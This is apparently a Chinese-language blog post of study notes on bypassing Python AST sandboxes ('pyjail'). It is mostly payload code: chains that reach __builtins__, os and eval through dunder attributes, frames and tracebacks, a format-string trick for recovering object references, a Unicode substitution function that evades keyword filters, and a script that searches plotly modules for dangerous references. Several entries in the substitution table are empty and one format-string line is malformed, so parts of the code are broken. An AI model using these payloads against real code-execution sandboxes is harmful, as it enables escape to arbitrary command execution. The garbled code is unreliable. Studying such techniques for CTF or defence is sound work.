Skip to content
blogs of mekrina
Go back

Python AST 沙箱绕过

Updated:
Edit page

学习 https://dummykitty.github.io/posts/pyjail-bypass-08-%E7%BB%95%E8%BF%87-AST-%E6%B2%99%E7%AE%B1/

https://xz.aliyun.com/news/12093

限制Name节点

希望获取__builtins__来绕过限制

dunder attr

从允许的Name出发,用__init__等属性获取到危险方法,可以通过获取globals [].__class__.__mro__[-1].__subclasses__()[165].__init__.__globals__ 关键是找到一个python类的方法(比如warnings.catch_warnings的__init__

比如如果能访问一个DataFrame的实例,就可以通过df.__class__.__init__.__globals__

如果能获取一个模块,可以通过module.__dict__获取模块内的全局变量、类等

locals globals

前提是这些Name(globals,vars)被允许

globals()['__builtins__']
locals()['__builtins__']
vars()['__builtins__'] # 相当于locals

其他获取builtins的方法

(x for x in [1]).gi_frame.f_globals['__builtins__'] # 不涉及Name节点(除了x)

try:
    1/0
except Exception as e:
    print(e.__traceback__.tb_frame.f_globals['__builtins__'])

(lambda:0).__globals__['__builtins__'] # exec内部的globals

__loader__.get_data.__globals__['__builtins__']

获取属性的方法

obj.attr
obj.__getattr__('attr_name')
obj.__getattribute__('attr_name')

getattr(obj, "attr_name")

cls.__dict__["__init__"] # 元数据
obj.__dict__['attr_name'] # 实例属性
obj.__getstate__() # 实例属性
mod.__dict__['__builtins__'] # 所有全局信息

type(e).__dict__['obj'].__get__(e, type(e)) # 通过类的__get__方法获取实例的属性, e.obj

vars(w)['attr'] # 相当于w.__dict__,不需要用到 .

match object:
    case object(__subclasses__=x):
        match x()[-1]: # object.__subclasses__[-1]
            case object(__init__=y):
                print(y) # <function T.__init__...

from operator import attrgetter; f = attrgetter("attr_name"); res = f(t)
import inspect; inspect.getmembers(obj)
from types import SimpleNamespace; SimpleNamespace({"k": "v"}).k # 把dict用dot访问

# 此外,format格式化字符串可以用于绕过
"{0.__globals__[os].popen._"+ "}".format(...)

禁用Name节点,或删除vars|globals等函数,再禁用dunder attr,暂时没办法

Call节点白名单

eval模式,用海象表达式

[min:=eval, min('print(1)')]

格式化字符串

f-string中的表达式依然会被AST解析到,但是字符串的format方法不会

s = "{x.__cla" + "ss__}"
s.format(x=[])

不过这种方法只能读属性,不能执行函数 比如获取到eval函数,但实际上只是一个字符串表示,没法执行代码

配合Exception获取实际对象

通过在目标属性后面加一个不存在的对象,就会产生Error,从这个Error对象中获取目标属性的实际引用。帅呆

def new_getattr(obj, attribute):
    fmt = "{0." + attribute + ".ribbit}"
    try:
        fmt.format(obj)
    except AttributeError as e:
        return e.obj

try:
    raise ValueError("pwn")
except Exception as e:
    tb = new_getattr(e, "__traceback__")
    frame = new_getattr(tb, "tb_frame")
    builtins_dict = new_getattr(frame, "f_builtins")

    imprt = builtins_dict["__import__"]

    import_globals = new_getattr(imprt, "__globals__")
    os = import_globals["os"]

    result = {
        "vulnerable": os
    }
    print(result)

bypass

unicode标识符替换

标识符可以用unicode代替(关键字不行), 可以绕过基于字符串匹配的方法

def replace(payload: str):
    dunder = "__"
    mapping = {
        'a': 'ª', 'b': '', 'c': '', 'd': '', 'e': '', 'f': '',
        'g': '', 'h': 'ʰ', 'i': '', 'j': 'ʲ', 'k': '', 'l': 'ˡ',
        'm': '', 'n': '', 'o': '', 'p': '', 'q': '𐞥', 'r': 'ʳ',
        's': 'ˢ', 't': '', 'u': '', 'v': '', 'w': 'ʷ', 'x': 'ˣ',
        'y': 'ʸ', 'z': ''
    }
    payload = payload.replace("__", dunder)

    trans_table = str.maketrans(mapping)
    return payload.translate(trans_table)

查找危险函数

import types

from plotly import express as px
from plotly import graph_objects as go

seen = set()
target_names = {'os','_os','sys','_sys','importlib','argparse','subprocess','builtins','__builtins__'}
mods = {'px': px, 'go': go}

def walk(obj, path, depth):
    if depth < 0:
        return
    oid = id(obj)
    if oid in seen:

        return
    seen.add(oid)
    if isinstance(obj, types.ModuleType):
        keys = [k for k in obj.__dict__.keys() if k in target_names]
        if keys:
            print(path, '=>', keys)
    # recurse through modules/classes only via public-ish attrs or single underscore attrs
    names = []
    if isinstance(obj, types.ModuleType):
        names = [k for k,v in obj.__dict__.items() if (not k.startswith('__')) and isinstance(v, (types.ModuleType, type))]
    elif isinstance(obj, type):
        names = [k for k,v in obj.__dict__.items() if (not k.startswith('__')) and isinstance(v, (types.ModuleType, type))]
    for k in names:
        try:
            v = getattr(obj, k)
        except Exception:
            continue
        walk(v, path + '.' + k, depth-1)
for name, mod in mods.items():
    print('===', name)
    seen.clear()
    walk(mod, name, 4)

Edit page